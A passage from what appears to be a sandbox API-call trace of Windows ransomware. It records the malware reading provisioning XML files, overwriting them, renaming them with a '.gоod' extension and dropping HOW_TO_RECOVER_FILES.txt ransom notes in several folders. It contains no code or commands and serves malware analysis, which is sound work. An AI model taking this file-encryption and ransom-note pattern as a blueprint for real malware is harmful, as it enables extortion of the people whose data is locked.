ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x5408696e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb)) returned 1 [0114.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0114.828] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0114.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0114.828] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0114.828] GetFileType (hFile=0x6e0) returned 0x1 [0114.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0114.828] GetFileType (hFile=0x6e0) returned 0x1 [0114.828] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1f9ed2a8 | out: lpFileSizeHigh=0x1f9ed2a8*=0x0) returned 0xfb [0114.829] ReadFile (in: hFile=0x6e0, lpBuffer=0x350ddf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed1d8, lpOverlapped=0x0 | out: lpBuffer=0x350ddf8*, lpNumberOfBytesRead=0x1f9ed1d8*=0xfb, lpOverlapped=0x0) returned 1 [0114.829] CloseHandle (hObject=0x6e0) returned 1 [0115.378] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0115.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0115.378] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0115.379] GetFileType (hFile=0x6e4) returned 0x1 [0115.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0115.379] GetFileType (hFile=0x6e4) returned 0x1 [0115.380] WriteFile (in: hFile=0x6e4, lpBuffer=0x3725020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1f9ed0e8, lpOverlapped=0x0 | out: lpBuffer=0x3725020*, lpNumberOfBytesWritten=0x1f9ed0e8*=0x100, lpOverlapped=0x0) returned 1 [0115.380] CloseHandle (hObject=0x6e4) returned 1 [0115.381] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0115.381] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0115.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0115.381] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x40fb7b2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x100)) returned 1 [0115.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0115.381] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime.xml.gоod")) returned 1 [0115.382] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0115.382] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0115.382] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0115.382] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.382] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54060701, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54060701, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54060701, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0115.382] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.382] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0115.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0115.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0115.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0115.383] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0115.383] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0115.383] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.383] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54060701, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54060701, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54060701, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0115.383] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54060701, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54060701, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54060701, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 0 [0116.274] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0116.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0116.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0116.274] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ec4c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0116.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec9e0) returned 1 [0116.274] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0116.275] GetFileType (hFile=0x6e4) returned 0x1 [0116.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec950) returned 1 [0116.275] GetFileType (hFile=0x6e4) returned 0x1 [0116.276] WriteFile (in: hFile=0x6e4, lpBuffer=0x3336b08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ecaa8, lpOverlapped=0x0 | out: lpBuffer=0x3336b08*, lpNumberOfBytesWritten=0x1f9ecaa8*=0x5d0, lpOverlapped=0x0) returned 1 [0116.276] CloseHandle (hObject=0x6e4) returned 1 [0116.277] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0116.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0116.277] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0116.277] GetFileType (hFile=0x6e4) returned 0x1 [0116.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0116.277] GetFileType (hFile=0x6e4) returned 0x1 [0116.278] WriteFile (in: hFile=0x6e4, lpBuffer=0x333a3b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x333a3b8*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0116.279] CloseHandle (hObject=0x6e4) returned 1 [0116.279] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x65 [0116.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0116.279] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0116.281] GetFileType (hFile=0x6e4) returned 0x1 [0116.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0116.281] GetFileType (hFile=0x6e4) returned 0x1 [0116.282] WriteFile (in: hFile=0x6e4, lpBuffer=0x333dc58*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x333dc58*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0116.283] CloseHandle (hObject=0x6e4) returned 1 [0116.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0116.283] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpFilePart=0x0) returned 0x4c [0116.283] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0116.284] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.284] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef7d10, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0116.284] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0116.284] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0116.284] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0116.284] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0116.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0116.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0116.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0116.285] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpFilePart=0x0) returned 0x4c [0116.285] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0116.285] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.285] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef7d10, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0116.285] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ed1a9f, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0116.285] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0116.286] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0116.286] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0116.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0116.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0116.286] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0116.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0116.286] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml"), fInfoLevelId=0x0, lpFileInformation=0x334db80 | out: lpFileInformation=0x334db80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53ef7d10, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x59f)) returned 1 [0116.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0116.286] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml", lpFilePart=0x0) returned 0x5f [0116.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0116.286] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml"), 